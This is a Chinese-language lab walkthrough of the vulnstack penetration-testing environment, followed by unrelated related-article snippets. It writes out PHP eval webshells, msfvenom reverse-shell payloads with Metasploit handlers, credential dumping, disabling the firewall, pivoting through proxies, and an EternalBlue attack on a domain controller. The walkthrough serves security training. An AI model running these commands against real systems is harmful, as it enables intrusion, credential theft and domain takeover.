红日安全vulnstack (一)

目录

环境搭建

本机双网卡

Kali IP

靶机IP

Web GetShell

前期信息收集

Yxcms后台模板 Getshell

PHPMyAdmin日志 Getshell

into outfile写入一句话 X

phpmyadmin 日志写入一句话

后渗透

MSF 生成木马上线

提取用户hash值

**hash**加密方式

MSF权限Shell至CS

CS 生成木马上线

提权system

信息收集

域信息收集

CS权限shell至MSF

横向移动

MSF

MSF路由+Socks模块代理通讯

ms17_010永恒之蓝445

CS

创建SMB监听器横向

横向移动psexec


网络拓扑图

靶机参考文章

CS/MSF派发shell

环境搭建

IP搭建教程

本机双网卡

65网段和83网段是自己本机电脑(虚拟机)中的网卡, 靶机外网的IP需要借助我们这两个网段之一出网

Kali IP

kali地址网络适配器选择,为VMnetNAT模式会通过DHCP自动获取IP,本机65网卡会自动分配IP 和靶机win7同网段

简单来说,桥接模式是独立内网IP,NAT模式则是利用物理机的地址分配一个IP和物理同一个网段,双网卡就是一个情况,一个网段出网络,一个不出网,不出网IP为内网网段,或者自定义也是独立的地址

192.168.65.148 // kali 地址

扫描win7出网机开放端口,处于同一个网段可以扫描到

靶机IP

解压后出现后最vmx后缀文件,打开虚拟机自己弄好 初始密码为hongrisec@2019

已经全部修改为saber.1029

【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段

IP地址

主机

IP地址

kali 攻击机

192.168.65.148(虚拟机VMnet8网卡) 本机双网卡=WIFi IP+kali IP 65+内部IP 172.28.160.1

Win7外网服务器

外网IP 192.168.65.154 / 内网IP 192.168.52.143 提权后IP变为65.155

Win2003 域成员机

192.168.52.141 (不出网IP固定52网段)

Win2008 DC 域控

192.168.52.138 (不出网IP固定52网段)

攻击机与win7 可以互相ping通出网,如果出现Ping不同可能是win7防火墙未关闭或未开机

Web GetShell

前期信息收集

win7机器打开小皮服务否则nmap无法扫描80端口和 3306

arp-scan-l    //  kali前期使用该命令扫出同有一网段下其他主机xxxxx       // 确定了win7 IP 地地址为  192.168.65.154

扫描win7外网IP地址,目标开放了803306 端口

nmap 192.168.65.154

kali访问 80端口 phpinfo()页面: 自己主机也是可以访问到此页面,本身就是同一个网段,win7网段是物理机给予的

御剑目录扫描出数据库管理后台和beifen.rar文件路径

http://192.168.65.154/PhpMyAdmin
http://192.168.65.154/beifen.rar

压缩包config.php给出了数据库的账户密码信息

Yxcms后台模板 Getshell

下载压缩包解压后根据文件夹名称判断是个cms 拼接访问

主页公告信息泄露出了后台管理的地址和账户密码访问后登录即可

http://192.168.65.154/yxcms/index.php?r=admin账户:admimm密码:123456

登录后台找到前台模板进行编辑写一句话木马蚁剑联机.

选择编辑的文件为index_index.php 猜测应该是网站起始吧最好找路径

一句话🐎<?php eval($_POST["cmd"]);
phpinfo(); // 添加打印函数佐证
echo 'aaaaa'; // 输出 aaaaa
?>

访问网站前台马子上线,掏出蚁剑连接,取得webshell

PHPMyAdmin日志 Getshell

数据库登录如果无密码只能尝试弱口令了,这里是应该前期找文件已经有了密码直接登录就行了

账号: root 密码: root

into outfile写入一句话 X

INTO OUTFILE是MySQL数据库中的一个语句,它可以将查询结果写入到文件中

条件

  1. root权限
  2. 知道绝对路径
  3. secure_file_priv没有具体值

使用INTO OUTFILE将结果写入到文件中

SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt';

这样文件"/path/to/file.txt"的内容将变为:

Hello, world!

前期通过最高权限的账号登录了,并且源码泄露和phpinfo()已经知道了绝对路径,查secure_fiel_priv

show global variables like "%secure%"; // 查询value为“null”时,不允许读取任意文件value为“空”时,允许读取任意文件

这里值为null无法执行

phpmyadmin 日志写入一句话

使用语句查询路径,这是已经修改过的

show global variables like "%general%";

使用命令修改配置开关和路径

set global general_log="on";                //开启日志,修改为on//修改日志路径(在上面提到的phpinfo.php中有泄露路径)set global general_log_file="C:/phpStudy/WWW/a.php";

利用日志写入一句话木马位置是在网站www根目录下的a.php 直接访问连接

SELECT'<?php eval($_POST["cmd"]);?>'

蚁剑连接成功取得webshell

后渗透

MSF 生成木马上线

Kali进入MSF生成shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.148  LPORT=1111 -f exe -o shell.exe// -p为指定payload,使用msf的payload的时候要和这个相同,
//lhost为Kali ip,lport为 自定义端口,-f为payload类型为exe

拷贝木马使用蚁剑将文件上传到win7目录下

msf开启监听回响用handler模块接收反弹模块

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.65.148
set lport 1111
exploit

蚁剑虚拟终端运行exe文件 MSF成功反弹shell

反弹shell后先查看当前用户,而后通过getsystem命令直接进行提权到系统权限

getuid // 获取当前用户IDgetsystem // 用于获取系统权限的命令,通常在渗透测试中用于尝试提升当前用户权限至系统管理员权限。// 这个命令通常在攻击者已经获得一定权限的情况下使用,以获取更高级别的权限。在实际操作中,getsystem命令可能会利用系统中的漏洞或弱点,以获取系统管理员权限

提取用户hash

run post/windows/gather/smart_hashdump   // 提取命令load kiwi // 加载抓取密码工具creds_all  // 抓取

hash加密方式

Windows系统中,哈希密码的格式通常为:用户名称:RID:LM-HASH值:NT-HASH值。
其中,NT-HASH是通过以下步骤生成的:1. 将明文口令转换成十六进制的格式。
2. 将转换后的十六进制字符串转换成Unicode格式,即在每个字节之后添加0x00。
3. 对Unicode格式的字符串进行MD4加密,生成32位的十六进制数字串举例来说,如果用户密码为test123,首先将其转换成十六进制的格式为74657374313233
然后转换成Unicode格式为7400650073007400310032003300。
最后,对Unicode字符串7400650073007400310032003300进行MD4加密,
得到NT-HASH值为c5a237b7e9d8e708d8436b6148a25fa1。这个NT-HASH值可以用于验证用户的身份而无需存储明文密码。
run post/windows/manage/enable_rdp  // 开启3389远程桌面

nmap 探测属于3389端口处于开启状态

sessions -i  # 查看所有会话 这个要回到msf模块下才能看到sessions 1  # 选择为此ID为1的会话

MSF权限ShellCS

开启CS 物理机Windows作为客户端 Kali作为服务端启动

创建监听器,端口号需和IP需和MSF监听设置一致,这里的IPkali地址

MSF 执行命令派发

bg  # 退出回到反弹模块
use exploit/windows/local/payload_inject # 本地漏洞利用模块payload_inject。这个模块通常用于在目标系统上注入恶意代码或payload
set payload windows/meterpreter/reverse_http # :设置payload 表示在目标系统上使用Meterpreter反向HTTP负载。这将允许建立一个反向连接
set DisablePayloadHandler true   #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.65.148                #公网vps ip 也看就是Kali地址
set lport 80                 #监听端口需和CS设置一直
set session 1                   #派发session 为1 也就是第一个会话 通过会话列表可以查看
exploit

CS客户端成功收到反弹shell

CS 生成木马上线

CS 生成非常简单,参考前文过程,生成的木马通过前文的蚁剑上传win7运行即可,上线,后续对win7信息收集和横向移动其他域内其他主机

**蚁剑下操作**dir   // 列出当前目录下所有文件
.\beacon.exe // 运行木马文件 CS 成功上线

提权system

  • svc-exe 提权

1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。

2.创建一个进程,并让进程创建命名管道。

3.让之前的以system权限启动的程序启动并连接这个命名管道。

4.利用ImpersonateNamedPipeClient()函数生成system权限的token。

5.利用system权限的token启动cmd.exe

信息收集

sleep 0  // 修改心跳速度为0 立马响应shell systeminfo  // 查看主机系统详细信息

查看进行和防火墙开启状态是为了判断是是否有防护软件,但是显然是没有的,不然CS生成无免杀的马子是不能上传到win7服务器

shell tasklist // 查看被控主机进程列表

shell netsh firewall show state  // 查看防火墙状态是否开启,操作模式为禁用代表防火墙为关闭状态出现命令提示:Microsoft已经将防火墙管理工具从"netsh firewall"迁移到了"netsh advfirewall firewall"。
这种更改可能是为了提高安全性、功能性或性能等方面的考虑

shell netsh advfirewall set allprofile state off // 完全关闭防火墙命令

域信息收集

shell net config Workstation  // 查看域信息

shell  view  // 查看当前域内列表,点击上方定位圆圈就可以看到

net dclist // 查看域控列表

抓取凭证hashwin7主机3个用户账户密码

抓取明文密码

CS权限shellMSF

MSF开启监听模块,使用一个端口进行监听

msfconsole // 开启MSF
use exploit/multi/handler  // 使用监听模块
set payload windows/meterpreter/reverse_http // 反向连接 CS将得到的权限反弹至MSF,协议和监听器一致
set lhost 0.0.0.0  // IP地址为任意的 任意地址流量都可以反弹
set lport 6666// 端口和监听器设置一致 
run  // 开启监听

CS这里是已经通过反向木马得到了shell,生成的木马监听器就是HTTP的,所以权限给msf时,新建的监听器还是HTTP

CS在需要委派的权限主机右键新建会话,则选择新的监听器为我们创建的

横向移动

横向渗透,使攻击机利用win7做跳板直接通讯到域控,利用win7为媒介

kali 攻击机

192.168.65.148

Win7外网服务器

外网IP 192.168.65.154 / 内网IP 192.168.52.143

Win2008 DC 域控

192.168.52.138 (不出网IP固定52网段)

MSF

MSF路由+Socks模块代理通讯

横向渗透前,将win7作为跳板机,将其内网52网段添加到路由,利用msf路由和socks配置让同一网段的机器可以通讯到

route // 打印当前路由
run post/multi/manage/autoroute  // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)
run autoroute -p  // 查看当前路由 已经添加好了52网段

设置proxychains代理,,现在只是msf工具以使用,但的工具还是没有通讯的,所以再次建立一个路由

bg // 退回msfshell模式use auxiliary/server/socks_proxy   // 使用socks代理 // 改名字了和之前小迪做的不一样show options  // 查看设置

set srvhost 127.0.0.1  // 设置代理为本地set srvport 888  // 有点问题再开了一个代理 端口为888如果不改的话默认1080和代理文件是一样的默认run  //  执行jobs  // 查看后台任务

找到proxychains4.conf文件因为不会vim操作起来很不舒服,定位到端口位置,点击x后可以删除,点击i开始添加对应的端口号 和前文设置一致

ms17_010永恒之蓝445

昨晚配置路由和socks之后正常是kali是可以接收到52网段的流量,然后使用nmap探测开放端口,会探测到445然后打永恒之蓝得到权限

socks开启监听一个端口,将此流量转发给msf因为端口号设置一致,msf添加了路由,所以流量又被带入内网中,在kali中的工具都可以监听到

proxychains  nmap -Pn -sT 192.168.52.138xxxx 发现存在445端口

检测永恒之蓝可能存在的地址

search ms17-010 
use auxiliary/scanner/smb/smb_ms17_010  // 永恒之蓝漏洞扫描检测模块
set rhosts 192.168.3.21-32  // 检测此IP范围内
run

命令行出现 Host 漏洞可能存在,使用漏洞攻击模块进行攻击

这里域控密码忘记了登录补上.但总的就是这个意思了,先设置跳板机和sosks进行通讯,而后通过开放的端口利用永恒之蓝去打域控,打下了域控也就是差不多了

use exploit/windows/smb/ms17_010_eternalblue  // use 0 // 利用模块set payload windows/x64/meterpreter/reverse_tcp // 设置攻击载荷反向set lhost 192.168.52.143  //  地址为 跳板机win7地址,因为要通过它去打域控地址 138set rhosts 192.168.52.138  //  被攻击的地址为域控set lport  5555 // 随意选择kali一个端口进行监听run  // 运行即可

CS

创建SMB监听器横向

SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败),此流量封装在SMB协议中

DC域控进行横向移动利用先前抓取的明文密码,配合SMB监听器,

运行后直接用抓取到的明文去移动直接正向连接域控主机,接下来可以拿域控去打另外一台机器,这是第一种派生方式,第二种beacon 上创建监听,用来作为跳板进行内网穿透 前提是能够通过 shell 之类访问到内网其他主机

横向移动psexec

感觉这个就是拿明文去移动启动机器了,psexec属于登录命令,在有密码情况下远程登录其他主机执行命令

简单粗暴拿下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/56988.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何使用FastAPI开发Serverless应用?

使用FastAPI开发Serverless应用是一种现代且高效的方法&#xff0c;它结合了FastAPI的高性能和Serverless架构的灵活性、可扩展性以及低成本。下面是一个基本指南&#xff0c;帮助你从零开始创建并部署一个FastAPI应用到Serverless环境。 1. 安装FastAPI和Uvicorn 首首先&…

基于springboot美食推荐商城的设计与实现

基于springboot美食推荐商城的设计与实现 开发语言&#xff1a;Java 框架&#xff1a;springboot JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;idea 源码获取&#xff1a;https:…

YOLO11 目标检测 | 导出ONNX模型 | ONNX模型推理

本文分享YOLO11中&#xff0c;从xxx.pt权重文件转为.onnx文件&#xff0c;然后使用.onnx文件&#xff0c;进行目标检测任务的模型推理。 用ONNX模型推理&#xff0c;便于算法到开发板或芯片的部署。 备注&#xff1a;本文是使用Python&#xff0c;编写ONNX模型推理代码的 目…

【Vercel】Vercel静态部署踩坑

背景 在现代的软件开发中&#xff0c;自动化部署是一个不可或缺的环节。Vercel作为一个流行的前端部署平台&#xff0c;提供了与GitHub的无缝集成&#xff0c;使得开发者能够在每次提交代码后自动触发部署流程。然而&#xff0c;自动化部署过程中可能会遇到一些挑战&#xff0…

全网免费的文献调研方法以及获取外网最新论文、代码和翻译pdf论文的方法(适用于硕士、博士、科研)

1. 文献调研 学术搜索引擎(十分推荐前三个&#xff0c;超有用)&#xff1a;使用 Google Scholar(https://scholar.google.com/)(https://scholar.google.com.tw/)(巨人学术搜索‬‬)、&#xff08;三个都可以&#xff0c;镜像网站&#xff09; arXiv(https://arxiv.org/)、&am…

qt页面设计

1. Designer 设计师&#xff08;掌握&#xff09; Designer是Qt内置的一款界面设计程序&#xff0c;设计的界面文件为.ui格式。 C程序员通常不会单独启动Designer&#xff0c;如果要在项目中使用Designer程序&#xff0c;只需要在新建项目时&#xff0c;勾选“创建界面文件”选…

学习C语言(25)

整理今天的学习内容 预处理详解 1.预定义符号 C语言设置了一些预定义符号&#xff0c;可以直接使用&#xff0c;预定义符号是在预处理期间处理的 __FILE__&#xff08;进行编译的源文件&#xff09; __LINE__ &#xff08;文件当前的行号&#xff09; __DATE__&#xff08…

Visual Studio 2022安OpenCV可视化工具image watch

1. 打开 VS2022 &#xff0c;扩展 -管理扩展 2. 搜索 Image Watch 关闭VS2022 后 安装 打开视图、调出 Image Watch 窗口 测试代码&#xff1a; #include "opencv2/imgproc.hpp" #include "opencv2/imgcodecs.hpp" #include "opencv2/highgui.…

分布式系统中的Dapper与Twitter Zipkin:链路追踪技术的实现与应用

目录 一、什么是链路追踪&#xff1f; 二、核心思想Dapper &#xff08;一&#xff09;Dapper链路追踪基本概念概要 &#xff08;二&#xff09;Trace、Span、Annotations Trace Span Annotation 案例说明 &#xff08;三&#xff09;带内数据与带外数据 带外数据 带…

【Linux】进程间通信---匿名管道、命名管道(超详解)

目录 匿名管道 管道的创建&#xff1a; 创建子进程&#xff1a; 关闭不需要的fd: 发送消息&#xff1a; 管道的5种特征&#xff1a; 管道的4种情况&#xff1a; 命名管道 创建命名管道&#xff1a; 删除命名管道&#xff1a; 手写命名管道&#xff1a; 完整代码&am…

多线程(七):单例模式指令重排序

目录 1. 单例模式 1.1 饿汉模式 1.2 懒汉模式 2. 懒汉模式下的问题 2.1 线程安全问题 2.2 如何解决 --- 加锁 2.3 加锁引入的新问题 --- 性能问题 2.4 指令重排序问题 2.4.1 指令重排序 2.4.2 指令重排序引发的问题 1. 单例模式 单例模式, 是设计模式中最典型的一种模…

Vision China 2024 | 移远通信以一体化的AI训练及部署能力,引领3C电子制造智能升级

10月14日&#xff0c;由机器视觉产业联盟(CMVU)主办的中国机器视觉展(Vision China)在深圳国际会展中心盛大开幕。作为全球领先的物联网整体解决方案供应商&#xff0c;移远通信应邀参加展会首日举办的“智造引领数质并进”3C电子制造自动化与数字化论坛。 论坛上&#xff0c;移…

PostgreSQL学习笔记:PostgreSQL vs MySQL

PostgreSQL 和 MySQL 都是广泛使用的关系型数据库管理系统&#xff0c;它们有以下一些对比&#xff1a; 一、功能特性 1. 数据类型支持 PostgreSQL&#xff1a;支持丰富的数据类型&#xff0c;包括数组、JSON、JSONB、范围类型、几何类型等。对于复杂数据结构的存储和处理非…

rancher安装并快速部署k8s 管理集群工具

主机准备 准备4台主机 3台用于k8s集群 &#xff0c;1台用于rancher 每台服务器新增配置文件 vi etc/sysctl.confnet.ipv4.ip_forward 1 刷新生效 sysctl –p 安装docker 安装的时候可以去github上检索rancher看看最新版本适配那个版本的docker&#xff0c;这里安装23.0.1…

酸碱PH值与浓度关系

1. 硫酸百分比浓度是指溶液中硫酸的质量占溶液总质量的百分比。‌ 例如&#xff0c;如果100克溶液中含有98克的硫酸&#xff0c;那么硫酸的百分比浓度为98% 2. 1mol/L硫酸对应百分比浓度多少&#xff1f;答&#xff1a;硫酸的质量分数98&#xff0c;1mol/L硫酸98g/L9.8%的硫酸…

RNN,LSTM,GRU的区别和联系? RNN的梯度消失问题?如何解决?

RNN&#xff0c;LSTM&#xff0c;GRU的区别和联系? RNN&#xff08;Recurrent Neural Network&#xff09;、LSTM&#xff08;Long Short-Term Memory&#xff09;和GRU&#xff08;Gated Recurrent Unit&#xff09;都是用于处理序列数据的神经网络模型&#xff0c;它们之间…

动态规划:17.简单多状态 dp 问题_买卖股票的最佳时机III_C++

题目链接&#xff1a; 一、题目解析 题目&#xff1a;123. 买卖股票的最佳时机 III - 力扣&#xff08;LeetCode&#xff09; 解析&#xff1a; 拿示例1举例&#xff1a; 我们可以如图所示买入卖出股票&#xff0c;以求得最大利润&#xff0c;并且交易次数不超过2次 拿示…

二百六十九、Kettle——ClickHouse清洗ODS层原始数据增量导入到DWD层表中

一、目的 清洗ClickHouse的ODS层原始数据&#xff0c;增量导入到DWD层表中 二、实施步骤 2.1 newtime select( select create_time from hurys_jw.dwd_statistics order by create_time desc limit 1) as create_time 2.2 替换NULL值 2.3 clickhouse输入 2.4 字段选择 2.5 …

Git的原理和使用(三)

1. 分支管理 1.1 合并模式 1.1.1 fast forward模式 git log --graph --abbrev-commit 1.1.2 no-ff模式 合并出现问题后需要进行手动修改&#xff1a; 如下图所示&#xff1a; 1.1.3 不使用no-ff模式 git merge --no-ff -m "merge dev2" dev2 1.2 分⽀策略 在实际开…

多IP访问多网段实验

文章目录 多IP访问多网段实验 多IP访问多网段实验 在当前主机配置多个IP地址&#xff0c;实现多IP访问多网段&#xff0c;记录所有命令及含义 1&#xff0c;环境搭建&#xff1a; [rootlocalhost ~]# mount /dev/sr1 /mnt # 设置ISO虚拟镜像文件文件挂载点&#xff0c;将…